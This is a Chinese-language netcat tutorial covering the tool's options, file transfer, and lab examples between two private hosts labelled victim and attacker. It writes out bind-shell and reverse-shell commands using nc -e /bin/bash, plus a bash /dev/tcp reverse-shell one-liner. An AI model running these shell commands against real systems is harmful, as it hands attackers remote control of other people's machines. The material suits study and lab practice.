一、使用手册
1.简介:nc/NetCat是一款端口监听工具,可以用来建立系统之间的连接、传输文件、TCP代理等。
2.命令参数
nc [-options] hostname port[s] [ports] …
监听端口等待连接:nc -l -p port [-options] [hostname] [port]
主要参数[options]:
-d 无命令行界面,使用后台模式
-e prog 程序重定向 [危险!!]
-g gateway 源路由跳跃点, 不超过8
-G num 源路由指示器: 4, 8, 12, ...
-h 获取帮助信息
-i secs 延时设置,端口扫描时使用
-l 监听入站信息
-L 监听知道NetCat被结束(可断开重连)
-n 以数字形式表示的IP地址
-o file 使进制记录
-p port 打开本地端口
-r 随机本地和远程的端口
-s addr 本地源地址
-t 以TELNET的形式应答入站请求
-u UDP 模式
-v 显示详细信息 [使用=vv获取更详细的信息]
-w secs 连接超时设置
-z I/O 模式 [扫描时使用]
端口号可以是单个的或者存在一个范围: m-n [包含值]。
3.简单使用:
测试环境:
操作系统:centos 7.7
nc版本:7.50
系统A:192.168.226.128
系统B:192.168.226.129
(1)文件传输
系统A命令:nc -l -p 8978 > ./tmp.txt
系统B命令:nc -v 192.168.226.128 8978 < ./test.txt
(2)正向远程连接
主要使用nc危险参数-e将受害者系统A的/bin/bash重定向到本地某端口8978,然后攻击者系统B连接远程端口8978
系统A命令:nc -t -e /bin/bash -l -p 8978
系统B命令:nc -v 192.168.226.128 8978
(3)反向连接
攻击者系统B监听本地端口8978,然后在受害者系统中使用nc危险参数-e将受害者系统A的/bin/bash重定向连接到远程端口8978。
系统B命令:nc -lvp 8978
系统A命令: nc -t -e /bin/bash 192.168.226.129 8978
补充:
使用bash -i >& /dev/tcp/192.168.226.129/8978 0>&1也可以进行反弹shell连接
系统A命令:bash -i >& /dev/tcp/192.168.226.129/8978 0>&1
系统B命令:nc -lvp 8978
--broker参数可用于数据转发代理使用(参考https://www.jianshu.com/p/a2c89231e0c9)
参考链接
https://blog.csdn.net/bcbobo21cn/article/details/52095914
https://www.cnblogs.com/kankanhua/p/5843608.html
https://blog.csdn.net/phone15062117684/article/details/79039735